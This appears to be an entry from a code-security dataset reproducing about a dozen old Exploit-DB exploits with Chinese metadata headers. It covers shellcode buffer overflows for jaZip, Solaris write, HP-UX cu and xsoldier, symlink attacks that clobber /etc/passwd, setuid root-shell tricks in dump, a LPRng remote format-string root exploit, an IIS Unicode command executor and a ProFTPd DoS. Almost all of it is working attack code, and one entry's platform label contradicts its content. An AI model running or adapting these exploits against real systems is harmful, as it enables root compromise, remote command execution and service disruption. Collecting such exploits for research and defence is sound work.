QLWD/code_shield huggingface dataset:
标题: jaZip 0.32-2 - Local Buffer Overflow EDB-ID: 257 CVE: 2001-0110 类型: LOCAL 平台: LINUX 发布日期: 2001-01-25 漏洞利用脚本: #!/usr/bin/perl

## jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000
## <teleh0r@doglover.com> ||  http://teleh0r.cjb.net/ 
## Vulnerable: Turbolinux 6.0
##
## [teleh0r@localhost teleh0r]$ rpm -q jaZip
## jaZip-0.32-2
## [teleh0r@localhost teleh0r]$ ./jazip-exploit.pl
## Address: 0xbffff7ac
## bash#


$shellcode =                     # Shellcode by: Taeho Oh
    "\xeb\x1f".                  #/* jmp 0x1f              */
    "\x5e".                      #/* popl %esi             */
    "\x89\x76\x08".              #/* movl %esi,0x8(%esi)   */
    "\x31\xc0".                  #/* xorl %eax,%eax        */
    "\x88\x46\x07".              #/* movb %eax,0x7(%esi)   */
    "\x89\x46\x0c".              #/* movl %eax,0xc(%esi)   */
    "\xb0\x0b".                  #/* movb $0xb,%al         */
    "\x89\xf3".                  #/* movl %esi,%ebx        */
    "\x8d\x4e\x08".              #/* leal 0x8(%esi),%ecx   */
    "\x8d\x56\x0c".              #/* leal 0xc(%esi),%edx   */
    "\xcd\x80".                  #/* int $0x80             */
    "\x31\xdb".                  #/* xorl %ebx,%ebx        */
    "\x89\xd8".                  #/* movl %ebx,%eax        */
    "\x40".                      #/* inc %eax              */
    "\xcd\x80".                  #/* int $0x80             */
    "\xe8\xdc\xff\xff\xff".      #/* call -0x24            */
    "/bin/sh";                   #/* .string \"/bin/sh\"   */


$ret = 0xbffff7ac;  # May have to be modified.
$len = 2100;
$nop = 'A';

if (@ARGV == 1) {
    $offset = $ARGV[0];
}

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode;

print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
$new_ret = pack('l',($ret + $offset));
$buffer .= $nop x 3; # May have to be modified / 5 for Debian.

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

if ($ENV{'DISPLAY'}) {
    delete($ENV{'DISPLAY'});
}

local($ENV{'DISPLAY'}) = $buffer;
exec("/usr/X11R6/bin/jazip");


# milw0rm.com [2001-01-25] URL: https://www.exploit-db.com/exploits/257
标题: Solaris 2.6/2.7 - '/usr/bin/write' Local Overflow EDB-ID: 256 CVE: 1999-1371 类型: LOCAL 平台: SOLARIS 发布日期: 2001-01-25 漏洞利用脚本: #include <stdio.h>
#include <unistd.h>
/*

  /usr/bin/write overflow proof of conecpt.

  Tested on Solaris 7 x86

  Pablo Sor, Buenos Aires, Argentina. 01/2000
  psor@afip.gov.ar

  usage: write-exp [shell_offset] [ret_addr_offset]

  default offset should work.

*/
long get_esp() { __asm__("movl %esp,%eax"); }

char shell[] =
  "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
  "\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
  "\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
  "\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
  "\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
  "\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
  "\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
  "\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
  "\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
  "\x73\x68\xff\xff\xff\xff\xff\xff\xff"
  "\xff\xff";

  /* shellcode by Cheez Whiz */

void main(int argc,char **argv)
{
  FILE *fp;
  long magic,magicret;
  char buf[100],*envi;
  int i;

  envi = (char *) malloc(1000*sizeof(char));
  memset(envi,0x90,1000);
  memcpy(envi,"SOR=",4);
  memcpy(envi+980-strlen(shell),shell,strlen(shell));
  envi[1000]=0;
  putenv(envi);

  if (argc!=3)
  {
    magicret = get_esp()+116;
    magic = get_esp()-1668;
  }
  else
  {
    magicret = get_esp()+atoi(argv[1]);
    magic = get_esp()+atoi(argv[2]);
  }

  memset(buf,0x41,100);
  buf[99]=0;
  memcpy(buf+91,&magic,4);
  for(i=0;i<22;++i) memcpy(buf+(i*4),&magicret,4);
  execl("/usr/bin/write","write","root",buf,(char *)0);
}


// milw0rm.com [2001-01-25] URL: https://www.exploit-db.com/exploits/256
标题: HP-UX 11.0 - '/bin/cu' Local Privilege Escalation EDB-ID: 245 CVE: 2000-1028 类型: LOCAL 平台: HP-UX 发布日期: 2001-01-13 漏洞利用脚本: /*
 * Copyright (c) 2001 Zorgon                              
 * All Rights Reserved                                    
 * The copyright notice above does not evidence any       
 * actual or intended publication of such source code.    
 * 
 * HP-UX /bin/cu exploit.
 * Tested on HP-UX 11.00 
 * zorgon@antionline.org (http://www.nightbird.free.fr) 
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define LEN 9778 
#define HPPA_NOP 0x0b390280
#define RET 0x7f7eb010
#define OFFSET 1200    /* it works for me */

u_char hppa_shellcode[] = /* K2 <ktwo@ktwo.ca> shellcode */
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";

int 
main(int argc , char **argv){
  char buffer[LEN+8];
  int i;
  long retaddr = RET;
  int offset = OFFSET;
 
  if(argc>1) offset = atoi(argv[1]);
    for (i=0;i<LEN;i+=4)
      *(long *)&buffer[i] = retaddr + offset; 

  for (i=0;i<(LEN-strlen(hppa_shellcode)-50);i++) 
    *(buffer+i) = HPPA_NOP;

  memcpy(buffer+i,hppa_shellcode,strlen(hppa_shellcode));
  fprintf(stderr, "HP-UX 11.00 /bin/cu exploit\n");
  fprintf(stderr, "Copyright (c) 2001 Zorgon\n");                              
  fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", retaddr + offset, offset, strlen(buffer));

  execl("/bin/cu","cu","-l",buffer,0);
}


// milw0rm.com [2001-01-13] URL: https://www.exploit-db.com/exploits/245
标题: SunOS 5.7 Catman - Local Insecure tmp Symlink Clobber EDB-ID: 235 CVE: 2001-0095 类型: DOS 平台: SOLARIS 发布日期: 2000-12-20 漏洞利用脚本: #!/usr/local/bin/perl -w 
#
# The problem is catman creates files in /tmp
# insecurly. They are based on the PID of the
# catman process, catman will happily clobber
# any files that  are symlinked to that file.
# The idea of this  script  is  to  watch the
# process  list  for  the catman process, get
# the pid and Create a symlink in /tmp to our
# file to be clobbered.  This exploit depends
# on  system  speed  and  process  load. This
# worked on a patched Solaris 2.7 box (August
# 2000 patch cluster)
# SunOS rootabega 5.7 Generic_106541-12 sun4u
# sparc SUNW,Ultra-1 lwc@vapid.betteros.org
# 11/21/2000   Vapid Labs.
# http://vapid.betteros.org

$clobber = "/etc/passwd";
while(1) {
  open ps,"ps -ef | grep -v grep |grep -v PID |";
  while(<ps>) {
    @args = split " ", $_;
    if (/catman/) { 
      print "Symlinking sman_$args[1] to  $clobber\n";
      symlink($clobber,"/tmp/sman_$args[1]");
      exit(1);
    }
  }
}


# milw0rm.com [2000-12-20] URL: https://www.exploit-db.com/exploits/235
标题: xsoldier 0.96 (RedHat 6.2) - Local Buffer Overflow EDB-ID: 229 CVE: 1999-1008 类型: LOCAL 平台: LINUX 发布日期: 2000-12-15 漏洞利用脚本: #include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define BUFSIZE 4408
#define OFFSET 0 
#define RANGE 20
 
unsigned char blah[] =
  "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
  "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
  "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
  "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
  "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
  "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
  "\xc2\x91";

long get_sp () { __asm__ ("mov %esp, %eax"); }

int
main (int argc, char *argv[])
{
  char buffer[BUFSIZE];
  int i, offset;
  unsigned long ret;

  if (argc > 1)
    offset = atoi(argv[1]);
  else
    offset = OFFSET;

  for (i = 0; i < (BUFSIZE - strlen (blah) - RANGE*2); i++)
    *(buffer + i) = NOP;

  memcpy (buffer + i, blah, strlen (blah));

  ret = get_sp(); 
  for (i = i + strlen (blah); i < BUFSIZE; i += 4)
    *(long *) &buffer[i] = ret+offset;

  fprintf(stderr, "xsoldier-0.96 exploit for Red Hat Linux release 6.2 (Zoot)\n");
  fprintf(stderr, "zorgon@antionline.org\n");  
  fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", ret + offset, offset, BUFSIZE);
  execl ("./xsoldier", "xsoldier", "-display", buffer, 0);
}


// milw0rm.com [2000-12-15] URL: https://www.exploit-db.com/exploits/229
标题: Solaris 2.7/2.8 Catman - Local Insecure tmp Symlink EDB-ID: 233 CVE: 2001-0095 类型: DOS 平台: WINDOWS 发布日期: 2000-12-19 漏洞利用脚本: #!/usr/local/bin/perl -w 
#
# The problem is catman creates files in /tmp insecurly.
# They are based on the PID of the catman process,
# catman will happily clobber any files that are
# symlinked to that file. The idea of this script is to
# create a block of symlinks to the target file with
# the current PID  as a starting point.  Depending on
# what load your system has this creates 1000 files in
# /tmp as sman_$currentpid + 1000.
#
# The drawback is you would have to know around when root
# would be executing catman. A better solution would be
# to monitor for the catman process and create the link
# before catman creates the file.  I think this is a
# really small window however. This worked on a patched
# Solaris 2.7 box (August 2000 patch cluster)
#
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
# lwc@vapid.betteros.org   11/21/2000   Vapid Labs.
# http://vapid.betteros.org

$clobber = "/etc/passwd"; #file to clobber
$X=getpgrp();
$Xc=$X; #Constant
$Y=$X+1000;#Constant

while($X < $Y) {
  print "Linking /tmp/sman_$X to $clobber :"; 
  # Change $clobber to what you want to clobber.
  if (symlink ($clobber, "/tmp/sman_$X")) {
    print "Sucess\n";
  }
  else { print "failed, Busy system?\n";}
  $X=$X+1;
}

#watch /tmp and see if catman is executed in time.
while(1){
  $list = "/usr/bin/ls -l /tmp | grep sman|grep root |";
  open (list,$list) or "die cant open ls...\n";
  while(<list>) {
    @args = split "_",$_;
    chop ($args[1]);
    if ($args[1] >= $Xc && $args[1] <= $Y){
      print "Looks like pid $args[1] is the winner\n cleaning....\n"; 
      `/usr/bin/rm -f /tmp/sman*`;
      exit(1);
    }
  }
}


# milw0rm.com [2000-12-19] URL: https://www.exploit-db.com/exploits/233
标题: ProFTPd 1.2.0 rc2 - Memory Leakage EDB-ID: 241 CVE: 2001-0136 类型: DOS 平台: LINUX 发布日期: 2001-01-03 漏洞利用脚本: /*
 | Proftpd DoS
 | by Piotr Zurawski (szur@ix.renet.pl)
 | This source is just an example of memory leakage in proftpd-1.2.0(rc2)
 | server discovered by Wojciech Purczynski.
 |
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>

#define USERNAME "anonymous"
#define PASSWORD "dupa@dupa.pl"
#define HOWMANY 10000

void logintoftp();
void sendsizes();
int fd;
struct in_addr host;
unsigned short port = 21;
int tcp_connect(struct in_addr addr,unsigned short port);

int main(int argc, char **argv)
{
  if (!resolve(argv[1],&host))
  {
    fprintf(stderr,"Hostname lookup failure\n");
    exit(0);
  }

  fd=tcp_connect(host,port);
  logintoftp(fd);
  printf("Logged\n");
  sendsizes(fd);

  printf("Now check out memory usage of proftpd daemon");
  printf("Resident set size (RSS) and virtual memory size (VSIZE)");
  printf("fields in ps output");
}

void logintoftp()
{
  char snd[1024], rcv[1024];
  int n;

  printf("Logging " USERNAME  "/"  PASSWORD "\r\n");

  memset(snd, '\0', 1024);
  sprintf(snd, "USER %s\r\n", USERNAME);
  write(fd, snd, strlen(snd));

  while((n=read(fd, rcv, sizeof(rcv))) > 0)
  {
    rcv[n] = 0;
    if(strchr(rcv, '\n') != NULL)break;
  }

  memset(snd, '\0', 1024);
  sprintf(snd, "PASS %s\r\n", PASSWORD);
  write(fd, snd, strlen(snd));

  while((n=read(fd, rcv, sizeof(rcv))) > 0)
  {
    rcv[n] = 0;
    if(strchr(rcv, '\n') != NULL)
      break;
  }
  return;
}

void sendsizes()
{
  char snd[1024], rcv[1024];
  unsigned long loop;

  printf ("Sending %i size commands... \n", HOWMANY);

  for(loop=0;loop<HOWMANY;loop++)
  {
    sprintf(snd, "SIZE /dadasjasojdasj/adhjaodhahasohasaoihroaha\n");
    write(fd, snd, strlen(snd));
  }
  return;
}

int tcp_connect(struct in_addr addr,unsigned short port)
{
  int fd;

  struct sockaddr_in serv;
  bzero(&serv,sizeof(serv)); serv.sin_addr=addr;
  serv.sin_port=htons(port);
  serv.sin_family=AF_INET;

  if ((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)\
  {
    perror("socket");
    exit(0);
  }

  if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0)
  {
    perror("connect");
    exit(0);
  }

  return(fd);
}

int resolve(char *hostname,struct in_addr *addr)
{
  struct hostent *res;
  res=gethostbyname(hostname);
  if (res==NULL)
    return(0);
  memcpy((char *)addr,res->h_addr,res->h_length);
  return(1);
} URL: https://www.exploit-db.com/exploits/241
标题: HP-UX FTPD - Remote Buffer Overflow EDB-ID: 212 CVE: 2000-0699 类型: DOS 平台: HP-UX 发布日期: 2000-12-01 漏洞利用脚本: /* theoretical exploit for hpux ftpd vulnerability              */
/* not tested anywhere, needs tweaking                          */

/* (c) 2000 by babcia padlina ltd. <venglin@freebsd.lublin.pl>  */

#include <stdio.h>
#include <stdlib.h>

#define NOPS 100
#define BUFSIZE 1024

char shellcode[] =                       /*   HP-UX shellcode   */
  "\x34\x16\x05\x06\x96\xd6\x05\x34\x20\x20\x08\x01\xe4\x20\xe0\x08\x0b"
  "\x5a\x02\x9a\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41"
  "\x04\x02\x60\x40\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02"
  "\x98\x34\x16\x04\xbe\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34"
  "\xde\xad\xca\xfe\x2f\x62\x69\x6e\x2f\x73\x68";

char nop[] = "\x08\x21\x02\x80";                /*  PA-RISC NOP */

unsigned long ret = 0xdeadbeef;

int main(argc, argv)
int argc;
char **argv;
{
  int stackofs;
  char buf[BUFSIZ*2];
  int i;

  for (strcpy(buf, "PASS "),i=0;i<NOPS;i++) strcat(buf, nop);
  sprintf(buf+strlen(buf), "%s%%.%dd%c%c%c%c", shellcode,
    BUFSIZE-strlen(shellcode)-NOPS*4-4,
    ((int)ret & 0xff), (((int)ret & 0xff00) >> 8),
    (((int)ret & 0xff0000) >> 16),
    (((int)ret & 0xff000000) >> 24));
  printf("USER ftp\r\n%s\r\n", buf);

  exit(0);
}


// milw0rm.com [2000-12-01] URL: https://www.exploit-db.com/exploits/212
标题: LPRng 3.6.22/23/24 - Remote Command Execution EDB-ID: 226 CVE: 2000-0917 类型: REMOTE 平台: LINUX 发布日期: 2000-12-11 漏洞利用脚本: /*
 * LPRng remote root exploit for x86 Linux
 * 9/27/00 
 *
 * - sk8
 * tested on compiled LPRng 3.6.22/23/24 
 *
 */

#include <unistd.h>
#include <stdio.h>

char sc[]=
  "\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff"
  "\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39"
  "\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7"
  "\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b"
  "\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh";

#define NOP 0x90 //will be split up, doesn't matter
int main(int argc, char** argv) {
  char getbuf[1000];
  int bpad=0; /* was 2 */ /* 3 for other */
  /* 2 - -34
     3 - -41
     0 - -42
  */
  int i=0;
  int eiploc=0x41424344;
  char buffer[1024];
  char fmtbuf[128];
  int shloc=-1; //0xbffff2c8;
  int hi=100; 
  int lo=200;
  int pre=0;
  int align=-36;

  int pos=511; //483; //488; /*299;*/
  int debug=0;
  char s=0;
  char mode='n';

  while ((s=getopt(argc, argv, "a:b:e:s:p:d")) != EOF) {
    switch(s) {
      case 'a': align=atoi(optarg); break;
      case 'b': bpad=atoi(optarg);
          break;
      case 'e': eiploc=strtoul(optarg, 0,0);
          break;
      case 's': shloc=strtoul(optarg, 0, 0);
          break;
      case 'p': pos=atoi(optarg); break;
      case 'd': debug=1; break;
      default:
    }
  }  
  if (shloc == -1) shloc=eiploc+2450;

  memset(buffer, 0, sizeof(buffer));
  memset(fmtbuf, 0, sizeof(fmtbuf));

  memset(buffer, 'B', bpad);
  *(long*)(buffer+strlen(buffer))=eiploc+2;
  *(long*)(buffer+strlen(buffer))=0x50505050;
  *(long*)(buffer+strlen(buffer))=eiploc;
  pre=strlen(buffer);

  if (debug) { mode='p'; hi=100; lo=100; }
  else {
    hi=((shloc >> 16)&0xffff)-pre+align; /* was no 7 */
    lo=((shloc >> 0)&0xffff)+0x10000-((shloc >> 16)&0xffff);
  }
  sprintf(fmtbuf, "%%%dd%%%d$h%c%%%dd%%%d$h%c", hi, pos, mode, lo, pos+2, mode);
  strcat(buffer+strlen(buffer), fmtbuf);
  /* make it easier to hit shellcode */
  memset(buffer+strlen(buffer), NOP, 385);
  strcat(buffer, sc);
  *(char*)(buffer+strlen(buffer))=0;

  fprintf(stderr, "strlen(fmtbuf): %i\n", strlen(fmtbuf));
  fprintf(stderr, "pos: %i\n", pos);
  fprintf(stderr, "align: %i\n", align);
  fprintf(stderr, "eip location: 0x%x\n", eiploc);
  fprintf(stderr, "shellcode location: 0x%x\n", shloc);
  fprintf(stderr, "strlen(sc): %i\n", strlen(sc));
  fprintf(stderr, "strlen(buffer): %i\n", strlen(buffer));
  printf("%s", buffer);
  putchar('\n');
}


// milw0rm.com [2000-12-11] URL: https://www.exploit-db.com/exploits/226
标题: Microsoft IIS 4.0/5.0 and PWS - Extended Unicode Directory Traversal (8) EDB-ID: 192 CVE: 2000-0884 类型: REMOTE 平台: WINDOWS 发布日期: 2000-11-18 漏洞利用脚本: #!/usr/bin/perl
#
# See http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806
#
# Very simple PERL script to execute commands on IIS Unicode vulnerable servers
# Use port number with SSLproxy for testing SSL sites
# Usage: unicodexecute2 IP:port command
# Only makes use of "Socket" library
#
# New in version2:
# Copy the cmd.exe to something else, and then use it.
# The script checks for this.
# Thnx to security@nsfocus.com for discovering the cmd.exe copy part
#
# Roelof Temmingh 2000/10/26
# roelof@sensepost.com http://www.sensepost.com

use Socket;
# --------------init
if ($#ARGV<1) {die "Usage: unicodexecute IP:port command\n";}
($host,$port)=split(/:/,@ARGV[0]);
$target = inet_aton($host);

# --------------test if cmd has been copied:
$failed=1;
$command="dir";
@results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /sensepost.exe/) {$failed=0;}
}
$failed2=1;
if ($failed==1) { 
  print "Sensepost.exe not found - Copying CMD...\n";
  $command="copy c:\\winnt\\system32\\cmd.exe sensepost.exe";
  $command=~s/ /\%20/g;
  @results2=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2){
    if (($line2 =~ /copied/ )) {$failed2=0;}
  }
  if ($failed2==1) {die "Copy of CMD failed - inspect manually:\n@results2\n\n"};
} 

# ------------ we can assume that the cmd.exe is copied from here..
$command=@ARGV[1];
print "Sensepost.exe found - Executing [$command] on $host:$port\n";
$command=~s/ /\%20/g;
my @results=sendraw("GET /scripts/..%c0%af../inetpub/scripts/sensepost.exe?/c+$command HTTP/1.0\r\n\r\n");
print @results;

# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {   # this saves the whole transaction anyway
  my ($pstr)=@_;
  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
    die("Socket problems\n");
  if(connect(S,pack "SnA4x8",2,$port,$target)){
    my @in;
    select(S);      $|=1;   print $pstr;
    while(<S>){ push @in, $_;}
    select(STDOUT); close(S); return @in;
    } else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata


# milw0rm.com [2000-11-18] URL: https://www.exploit-db.com/exploits/192
标题: dump 0.4b15 (RedHat 6.2) - Local Privilege Escalation EDB-ID: 206 CVE: 2000-1009 类型: LOCAL 平台: LINUX 发布日期: 2000-11-29 漏洞利用脚本: /*
**
**  dump-0.4b15x.c
**
**  dump-0.4b15 exploit:
**  Redhat 6.2 dump command executes
**  external program with suid priviledge.
**
**  affected:
**     /sbin/dump
**     /sbin/dump.static
**     /sbin/restore
**     /sbin/restore.static
**
**  Bug found by mat@hacksware.com
**
**  This example was coded by md0claes@mdstud.chalmers.se
**  It was written for EDUCATIONAL PURPOSES ONLY.
**
**
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define RUNME     "/tmp/runme"       /* tmp file     */
#define SUID_PATH "/tmp/superdude"  /* the power of root */

void usage(char *pname)
{
 fprintf(stdout, "\nUsage: %s < d | s | r | p >\n\n", pname);
 fprintf(stdout,   "  d - exploit /sbin/dump\n");
 fprintf(stdout,   "  s - exploit /sbin/dump.static\n");
 fprintf(stdout,   "  r - exploit /sbin/restore\n");
 fprintf(stdout,   "  p - exploit /sbin/restore.static\n\n");
}

int main(int argc, char *argv[], char *envp[])
{
 int fd;
 pid_t pid;
 char *bad_env[] = { "TAPE=garbage:garbage", "RSH="RUNME };
 char   runbuf[] = { "#!/bin/sh\n/bin/cp /bin/bash "
                    SUID_PATH "\nchmod 6755 " SUID_PATH };

 char *suid[] = { SUID_PATH, NULL };
 char   *av[] = { "/sbin/restore.static", "restore.static",
                  "-t", "/tmp/foo" };

 if (argc != 2) {
  usage(argv[0]);
  exit(1);
 }

 switch(tolower(argv[1][0])) {

  case 'd':
   av[0] = "/sbin/dump";
   av[1] = "dump";
   av[2] = "-0";
   av[3] = "/";
   break;

  case 's':
   av[0] = "/sbin/dump.static";
   av[1] = "dump.static";
   av[2] = "-0";
   av[3] = "/";
   break;

  case 'r':
   av[0] = "/sbin/restore";
   av[1] = "restore";
   break;

  case 'p':
   break;

  default:
   usage(argv[0]);
   exit(1);
 }

 if ((fd = open(RUNME,O_WRONLY|O_CREAT|O_TRUNC, 0755)) == -1) {
  perror("fopen");
  exit(1);
 }

 if (write(fd, runbuf, sizeof(runbuf)) == -1) {
  perror("write");
  exit(1);
 }
 close(fd);

 if ((pid = fork()) < 0) {
  perror("fork");
  exit(1);
 }

 else if (pid == 0) {
  if (execle(av[0], av[1], av[2], av[3], NULL, bad_env) < 0) {
   perror("execle");
   _exit(1);
  }
 }

 sleep(1);
 unlink(RUNME);
 fprintf(stdout, "\nExploited %s \n", av[0]);
 fprintf(stdout, "Running " SUID_PATH "\n");
 execve(SUID_PATH, suid, envp);

 exit(0);
}


// milw0rm.com [2000-11-29] URL: https://www.exploit-db.com/exploits/206
标题: HP-UX 11.00/10.20 crontab - Overwrite Files EDB-ID: 195 CVE: 2000-0972 类型: DOS 平台: HP-UX 发布日期: 2000-11-19 漏洞利用脚本: #!/bin/sh
#
#  HP-UX 11.00/10.20 crontab
#
#  Kyong-won,Cho
#
#             dubhe@hackerslab.com
#
#  Usage : ./crontab.sh <distfile>
#

if [ -z "$1" ]
then

echo "Usage : $0 <distfile>"
exit

fi

cat << _EOF_ > /tmp/crontab_exp
#!/bin/sh

ln -sf $1 \$1

_EOF_

chmod 755 /tmp/crontab_exp

EDITOR=/tmp/crontab_exp
export EDITOR

crontab -e 2> /tmp/crontab$$

grep -v "error on previous line" /tmp/crontab$$

rm -f /tmp/crontab_exp /tmp/crontab$$


# milw0rm.com [2000-11-19] URL: https://www.exploit-db.com/exploits/195
标题: dump 0.4b15 - Local Privilege Escalation EDB-ID: 193 CVE: 2000-1009 类型: LOCAL 平台: LINUX 发布日期: 2000-11-19 漏洞利用脚本: #!/bin/sh

# Redhat 6.2 dump command executes external program 
# with suid priviledge.
# Discovered by Mat <mat@hacksware.com>
# Written for and by a scriptkid Tasc ;P
# Remember, there's no cure for BSE

echo "dump-0.4b15 root exploit"
echo "Discovered by Mat <mat@hacksware.com>"
echo "-------------------------------------"
echo
DUMP=/sbin/dump
if [ ! -u $DUMP ]; then
  echo "$DUMP is NOT setuid on this system or does not exist at all!"
  echo
  exit 0
fi
export TAPE=iamlame:iamlame
export RSH=/tmp/rsh
cat >/tmp/rsh <<__eof__
#!/bin/sh
cp /bin/sh /tmp/sush
chmod 4755 /tmp/sush
}
__eof__
chmod 755 /tmp/rsh
/sbin/dump -0 /
echo
echo "Waiting for rootshell .... 5 seconds...."
sleep 5
/tmp/sush
id


# milw0rm.com [2000-11-19] URL: https://www.exploit-db.com/exploits/193